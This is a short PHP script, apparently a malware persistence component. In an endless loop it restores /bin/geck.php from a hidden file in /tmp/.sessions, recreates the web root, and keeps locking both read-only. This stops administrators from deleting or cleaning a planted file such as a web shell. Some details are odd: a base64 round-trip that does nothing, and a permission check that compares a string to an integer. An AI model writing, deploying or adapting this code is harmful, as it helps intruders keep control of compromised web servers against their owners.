
<?php
@ini_set("max_execution_time", 0);
while (True){
    if (!file_exists("/var/www/html")){
        mkdir("/var/www/html");
    }
    if (!file_exists("/bin/geck.php")){
        $text = base64_encode(file_get_contents("/tmp/.sessions/.L2JpbmdlY2stdGV4dA=="));
        file_put_contents("/bin/geck.php", base64_decode($text));
    }
    if (gecko_perm("/bin/geck.php") != 0444){
        chmod("/bin/geck.php", 0444);
    }
    if (gecko_perm("/var/www/html") != 0555){
        chmod("/var/www/html", 0555);
    }
}

function gecko_perm($flename){
    return substr(sprintf("%o", fileperms($flename)), -4);
}
